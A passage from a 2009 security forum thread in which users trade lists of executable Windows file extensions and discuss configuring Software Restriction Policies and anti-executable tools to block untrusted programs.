CRT: Security Certificate
EXE: Windows Executable File
HLP: Windows Help File
HTA: HTML Application
INF: Setup Information File
INS: Internet Communication Settings
ISP: Internet Communication Settings
LNK: Shortcut
MDB: Microsoft Access Application
MDE: Microsoft Access MDE Database
MSC: Microsoft Common Console Document
MSI: Windows Installer Package
MSP: Windows Installer Patch
OCX: ActiveX Objects
PCD: Photo CD Image
PIF: Shortcut to MS-DOS Program
PIF: Program Information File
REG - Registration Entries
SCR: Screen Saver
SCRIPT: Generic Script File
SHS: Shell Scrap Object File (hidden)
URL: Internet Shortcut (Uniform Resource Locator)
VB : VBScript File
WSC: Windows Script Component

There are many more that others include indirectly as executables, for example, macros in XLS docs etc.. A couple of other links..

http://pcsupport.about.com/od/tipstricks/a/execfileext.htm

http://antivirus.about.com/od/securitytips/a/fileextview.htm

I think there are threads on here somewhere (on SRP etc), which I couldn't immediately find, from a year or so back with more info as well..

pbw3
September 11th, 2009, 01:52 PM
-{ Quote: "EDIT: The only thing you have to do is disable SRP when you're updating or installing trusted applications. Then once finished, simply re-enable SRP." }-
Hi.. Is that because you running in admin mode..??

Running in LUA mode, I simply install any program or run any update separately "as an admin" - I don't need to switch SRP on and off at all...

Pedro
September 11th, 2009, 04:48 PM
If it's binary and about to be executed, SRP blocks them all no matter the extension. It doesn't work with extensions for binary executable files and vb scripts.

For non-Microsoft interpreters, it most likely depends on the extensions list, and relies on the execution starting from explorer or IE.
-{ Quote: "You can apply software restriction policies rules to additional file types, even when they are handled by non-Microsoft programs. However, if the other program does not enforce software restriction policies itself, the software restriction policies restrictions will only apply when either Windows Explorer or Internet Explorer is used to open the file. Opening the other program and then opening the executable script from within that program circumvents software restriction policies. To resolve this issue, contact the software provider and request that they enforce software restriction policies when opening executable scripts, or disallow execution of the other scripting host." }-
http://technet.microsoft.com/en-us/library/cc786941(WS.10).aspx

Wilders discussion: Software Restriction Policy vs Antiexecutable (http://www.wilderssecurity.com/showthread.php?t=197456)

Joeythedude
September 11th, 2009, 10:09 PM
-{ Quote: "If it's binary and about to be executed, SRP blocks them all no matter the extension. It doesn't work with extensions for binary executable files and vb scripts.

For non-Microsoft interpreters, it most likely depends on the extensions list, and relies on the execution starting from explorer or IE.

http://technet.microsoft.com/en-us/library/cc786941(WS.10).aspx

Wilders discussion: Software Restriction Policy vs Antiexecutable (http://www.wilderssecurity.com/showthread.php?t=197456)" }-
Thanks for that post.
I think Faronics AE also blocks new exe's if ran from the command prompt.

StevieO
September 12th, 2009, 05:04 PM
Thanx for all the responses so far, some very nice info there.

Well i've been n gone n done it, yep installed WinSonar !!! After a couple of years without it trying various other Apps, it feels like i'm back home again, so to speak. And yes, it feels good too.

The last time was on 98SE and i loved it, very light and very little noise. It just does what it says it will on the tin. So it'll interesting to see how things go now i'm on XP.